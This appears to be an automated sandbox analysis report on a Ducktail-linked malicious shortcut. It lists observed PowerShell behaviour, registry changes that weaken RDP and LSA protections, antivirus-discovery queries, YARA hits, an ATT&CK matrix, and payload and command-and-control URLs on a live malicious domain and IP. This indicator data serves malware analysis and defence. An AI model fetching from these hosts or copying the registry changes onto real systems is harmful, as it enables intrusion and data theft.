Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation

Source: C:\Windows\Temp\svczHost.exe

Code function: 20_2_00007FF633A4BFE0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

20_2_00007FF633A4BFE0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies security policies related information

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa DisableRestrictedAdmin

Source: powershell.exe, 00000003.00000002.3446237779.0000016218655000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3446237779.00000162186D1000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4351723584.0000027D252B6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4335848558.0000027D25201000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4350185800.0000027D2528A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000003.00000002.3444000005.0000016218344000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 9108, type: MEMORYSTR
Source: Yara match	File source: 00000003.00000002.3346172809.0000016200A6F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: amsi64_824.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 824, type: MEMORYSTR

Remote Access Functionality

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 9108, type: MEMORYSTR
Source: Yara match	File source: 00000003.00000002.3346172809.0000016200A6F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: amsi64_824.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 824, type: MEMORYSTR

Allows multiple concurrent remote connection

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fSingleSessionPerUser

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	431 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	11 Windows Service	11 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Process Injection	1 Obfuscated Files or Information	Security Account Manager	126 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	5 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	441 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Process Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	13 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	351 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Cj3OWJHzls.lnk	26%	ReversingLabs	Shortcut.Trojan.Pantera

Source	Detection	Scanner	Label
http://.css	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bafad2e63e06195	100%	Avira URL Cloud	malware
https://cocomethode.de	100%	Avira URL Cloud	malware
https://cocomethode.de/StaticFile/RdpService/74	100%	Avira URL Cloud	malware
https://cocomethode.de/fbJ5ex	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627	100%	Avira URL Cloud	malware
http://cocomethode.de	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20cbc872b7a211556734d	100%	Avira URL Cloud	malware
http://html4/loose.dtd	0%	Avira URL Cloud	safe
https://cocomethode.X	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae10afda605b274c86a537ac904c1ece8	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/058	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa	100%	Avira URL Cloud	malware
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11	100%	Avira URL Cloud	malware
http://crl.microso	0%	Avira URL Cloud	safe
http://crl.osofm/pk	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743	100%	Avira URL Cloud	malware
http://.jpg	0%	Avira URL Cloud	safe
http://23.88.71.29:8000/api/registry	0%	Avira URL Cloud	safe
https://ocsp.quovadisoffshore.com0	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae10afda605b27	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.png	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb	100%	Avira URL Cloud	malware
https://go.micro	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.pngh	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518	100%	Avira URL Cloud	malware
http://23.88.71.29:8000/client/ws	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4	100%	Avira URL Cloud	malware
http://crl.nH	0%	Avira URL Cloud	safe
http://cocomethode.de:443/	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230	100%	Avira URL Cloud	malware
http://crl.microsof	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bafad2e63e06195adc3d6c7b0625fed05f	100%	Avira URL Cloud	malware
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/190	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20	100%	Avira URL Cloud	malware
https://cocomethode.de/StaticFile/TermServiceTryRun/22	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f	100%	Avira URL Cloud	malware
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
http://cocomethode.de/api/check	100%	Avira URL Cloud	malware
https://oneget.org	0%	Avira URL Cloud	safe
http://23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57f	100%	Avira URL Cloud	malware
http://www.micro.com/pki/certs/MicRooCerAut_2010-06-23.crt0	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.pngXz	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cocomethode.de	104.21.1.51	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20cbc872b7a211556734d	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/fbJ5ex	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/StaticFile/RdpService/74	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae10afda605b274c86a537ac904c1ece8	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/api/registry	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/client/ws	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bafad2e63e06195adc3d6c7b0625fed05f	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/190	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/StaticFile/TermServiceTryRun/22	false	Avira URL Cloud: malware	unknown
http://cocomethode.de/api/check	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://html4/loose.dtd	powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-c	svczHost.exe, myRdpService.exe	false		high
https://cocomethode.de	powershell.exe, 00000003.00000002.3346172809.000001620038B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914FA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D3F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0EB63000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627	powershell.exe, 00000003.00000002.3346172809.0000016200785000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 0000000C.00000002.4212100544.0000027D1D096000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bafad2e63e06195	powershell.exe, 00000003.00000002.3346172809.0000016200550000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857	powershell.exe, 00000007.00000002.3248625933.0000020914FA0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://.css	powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cocomethode.de	powershell.exe, 00000007.00000002.3248625933.0000020914FDA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa	powershell.exe, 00000003.00000002.3346172809.0000016201AB1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/runtime	powershell.exe, 0000000C.00000002.4212100544.0000027D1D32F000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF633F82000.00000002.00000001.01000000.00000009.sdmp	false		high
https://cocomethode.de/file2/058	powershell.exe, 00000003.00000002.3346172809.0000016201AB1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.X	powershell.exe, 00000003.00000002.3346172809.0000016201AB1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11	powershell.exe, 00000003.00000002.3346172809.0000016200550000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY	powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	svczHost.exe, myRdpService.exe	false		high
